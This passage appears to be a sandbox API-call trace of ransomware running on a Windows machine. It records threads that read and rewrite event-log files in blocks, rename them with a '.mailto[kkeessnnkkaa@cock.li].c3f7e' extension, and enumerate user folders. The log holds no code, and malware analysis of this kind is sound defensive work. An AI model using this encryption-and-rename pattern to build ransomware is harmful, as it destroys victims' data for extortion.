	[0081.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.027] WriteFile (in: hFile=0x9a4, lpBuffer=0x4e40868*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfcbfe20, lpOverlapped=0x0 | out: lpBuffer=0x4e40868*, lpNumberOfBytesWritten=0xfcbfe20*=0xc800, lpOverlapped=0x0) returned 1
	[0081.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e40868) returned 1
	[0081.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e59878) returned 1
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7d) returned 0x498d4e8
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338e8
	[0081.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338e8) returned 1
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7d) returned 0x498e010
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338e8
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x161) returned 0x4790c50
	[0081.182] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.182] WriteFile (in: hFile=0x9a4, lpBuffer=0x4790c50*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0xfcbfea0, lpOverlapped=0x0 | out: lpBuffer=0x4790c50*, lpNumberOfBytesWritten=0xfcbfea0*=0x161, lpOverlapped=0x0) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790c50) returned 1
	[0081.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e010) returned 1
	[0081.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338e8) returned 1
	[0081.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d4e8) returned 1
	[0081.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33960) returned 1
	[0081.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0081.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0081.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0081.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718420
	[0081.304] wcscpy (in: _Dest=0x4718420, _Source="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx"
	[0081.304] wcscat (in: _Dest=0x4718420, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.304] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xfcbfe58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e332a8
	[0081.306] NtSetInformationFile (FileHandle=0x9a4, IoStatusBlock=0xfcbfe50, FileInformation=0x4e332a8, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0087.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e332a8) returned 1
	[0087.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a4cc0) returned 1
	[0087.754] NtQueryInformationFile (in: FileHandle=0x9a4, IoStatusBlock=0xfcbfe64, FileInformation=0xfcbfe3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfcbfe64, FileInformation=0xfcbfe3c) returned 0x0
	[0087.754] NtSetInformationFile (FileHandle=0x9a4, IoStatusBlock=0xfcbfe64, FileInformation=0xfcbfe3c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718420) returned 1
	[0087.757] FlushFileBuffers (hFile=0x9a4) returned 1
	[0092.858] CloseHandle (hObject=0x9a4) 

Thread:
	id = 377
	os_tid = 0x150c

	[0076.916] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20
	[0081.533] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.533] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1424
	[0081.533] GetFileSizeEx (in: hFile=0x1424, lpFileSize=0xfd3fefc | out: lpFileSize=0xfd3fefc*=69632) returned 1
	[0081.533] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.533] ReadFile (in: hFile=0x1424, lpBuffer=0xfd3fe80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfd3fe7c, lpOverlapped=0x0 | out: lpBuffer=0xfd3fe80*, lpNumberOfBytesRead=0xfd3fe7c*=0x4, lpOverlapped=0x0) returned 1
	[0081.603] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.603] NtQuerySystemTime (in: CurrentTime=0xfd3fe5c | out: CurrentTime=0xfd3fe5c*=132251868083432483) returned 0x0
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xee48bafe
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x7b70eca4
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xeb49c047
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x62d0cf23
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xd1852e30
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xbd1220d9
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xceb8d046
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x12e0ac17
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xd7e1a9cc
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xa03f9dc4
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xac6b601b
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xb1ff0191
	[0081.603] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xd7b8b88e
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x751798d9
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xd8892567
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x387f6e13
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x988692b7
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x796ad11a
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x595ed7d1
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x9b096910
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x730d2839
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xf3a61aa6
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x661daa48
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x640c8092
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xd76b55ac
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x75b320db
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x1ee88f5f
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xce2f1d1f
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xda5e1838
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0xc76c0e7b
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x9a244053
	[0081.604] RtlRandom (in: Seed=0xfd3fe68 | out: Seed=0xfd3fe68) returned 0x7f5ba985
	[0081.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0081.614] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.614] ReadFile (in: hFile=0x1424, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfd3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0xfd3fe3c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.615] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0081.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.617] WriteFile (in: hFile=0x1424, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfd3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0xfd3fe3c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0081.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x77) returned 0x47bde90
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x77) returned 0x47bd710
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15b) returned 0x2e02570
	[0081.619] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.619] WriteFile (in: hFile=0x1424, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x15b, lpNumberOfBytesWritten=0xfd3febc, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0xfd3febc*=0x15b, lpOverlapped=0x0) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd710) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bde90) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718280
	[0081.631] wcscpy (in: _Dest=0x4718280, _Source="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx"
	[0081.631] wcscat (in: _Dest=0x4718280, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.632] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xfd3fe74, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x4772830
	[0081.632] NtSetInformationFile (FileHandle=0x1424, IoStatusBlock=0xfd3fe6c, FileInformation=0x4772830, Length=0xd8, FileInformationClass=0xa) returned 0x0
	[0087.874] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772830) returned 1
	[0087.874] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a4e70) returned 1
	[0087.874] NtQueryInformationFile (in: FileHandle=0x1424, IoStatusBlock=0xfd3fe80, FileInformation=0xfd3fe58, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfd3fe80, FileInformation=0xfd3fe58) returned 0x0
	[0087.874] NtSetInformationFile (FileHandle=0x1424, IoStatusBlock=0xfd3fe80, FileInformation=0xfd3fe58, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718280) returned 1
	[0087.875] FlushFileBuffers (hFile=0x1424) returned 1
	[0093.243] CloseHandle (hObject=0x1424) 

Thread:
	id = 378
	os_tid = 0x1510

	[0076.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dacd78
	[0076.921] wcscpy (in: _Dest=0x2dacd78, _Source="C:\\Users\\FD1HVy\\AppData" | out: _Dest="C:\\Users\\FD1HVy\\AppData") returned="C:\\Users\\FD1HVy\\AppData"
	[0076.921] wcscat (in: _Dest=0x2dacd78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\") returned="C:\\Users\\FD1HVy\\AppData\\"
	[0076.921] wcscat (in: _Dest=0x2dacd78, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\*") returned="C:\\Users\\FD1HVy\\AppData\\*"
	[0076.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df97d0
	[0076.922] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\*", lpFindFileData=0x2df97d0 | out: lpFindFileData=0x2df97d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad538
	[0079.344] wcscmp (_String1=".", _String2=".") returned 0
	[0079.344] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2df97d0 | out: lpFindFileData=0x2df97d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.344] wcscmp (_String1="..", _String2=".") returned 1
	[0079.344] wcscmp (_String1="..", _String2="..") returned 0
	[0079.344] FindNextFileW (in: hFindFile=0x2dad538, lpFindFileData=0x2df97d0 | out: lpFindFileData=0x2df97d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb6f6a4d1, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xb6f6a4d1, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0079.344] wcscmp (_String1="Local", _String2=".") returned 1
	[0079.344] wcscmp (_String1="Local", _String2="..") returned 1
	[0079.344] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2dfb6f0
	[0079.344] wcscpy (in: _Dest=0x2dfb6f0, _Source="C:\\Users\\FD1HVy\\AppData" | out: _Dest="C:\\Users\\FD1HVy\\AppData") returned="C:\\Users\\FD1HVy\\AppData"
	[0079.344] wcscat (in: _Dest=0x2dfb6f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\") returned="C:\\Users\\FD1HVy\\AppData\\"
	[0079.344] wcscat (in: _Dest=0x2dfb6f0, _Source="Local" | out: _Dest="C:\\Users\\FD1HVy\\AppData\\Local") returned="C:\\Users\\FD1HVy\\AppData\\Local"

Thread:
	id = 379
	os_tid = 0x1514

	[0076.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2e29ef0
	[0076.923] wcscpy (in: _Dest=0x2e29ef0, _Source="C:\\Users\\FD1HVy\\Application Data" | out: _Dest="C:\\Users\\FD1HVy\\Application Data") returned="C:\\Users\\FD1HVy\\Application Data"
	[0076.923] wcscat (in: _Dest=0x2e29ef0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Application Data\\") returned="C:\\Users\\FD1HVy\\Application Data\\"
	[0076.923] wcscat (in: _Dest=0x2e29ef0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Application Data\\*") returned="C:\\Users\\FD1HVy\\Application Data\\*"
	[0076.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8bc8
	[0076.923] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Application Data\\*", lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.843] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df8bc8) returned 1
	[0077.843] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e29ef0) returned 1
	[0077.843] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8b300) returned 1

Thread:
	id = 380
	os_tid = 0x1518

	[0076.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacdb8
	[0076.925] wcscpy (in: _Dest=0x2dacdb8, _Source="C:\\Users\\FD1HVy\\Contacts" | out: _Dest="C:\\Users\\FD1HVy\\Contacts") returned="C:\\Users\\FD1HVy\\Contacts"
	[0076.925] wcscat (in: _Dest=0x2dacdb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Contacts\\") returned="C:\\Users\\FD1HVy\\Contacts\\"
	[0076.925] wcscat (in: _Dest=0x2dacdb8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Contacts\\*") returned="C:\\Users\\FD1HVy\\Contacts\\*"
	[0076.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7d58
	[0076.925] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x2df7d58 | out: lpFindFileData=0x2df7d58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ae68
	[0084.941] wcscmp (_String1=".", _String2=".") returned 0
	[0084.941] FindNextFileW (in: hFindFile=0x477ae68, lpFindFileData=0x2df7d58 | out: lpFindFileData=0x2df7d58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.941] wcscmp (_String1="..", _String2=".") returned 1
	[0084.941] wcscmp (_String1="..", _String2="..") returned 0
	[0084.941] FindNextFileW (in: hFindFile=0x477ae68, lpFindFileData=0x2df7d58 | out: lpFindFileData=0x2df7d58*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.942] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0084.942] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0084.942] FindNextFileW (in: hFindFile=0x477ae68, lpFindFileData=0x2df7d58 | out: lpFindFileData=0x2df7d58*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0084.942] FindClose (in: hFindFile=0x477ae68 | out: hFindFile=0x477ae68) returned 1
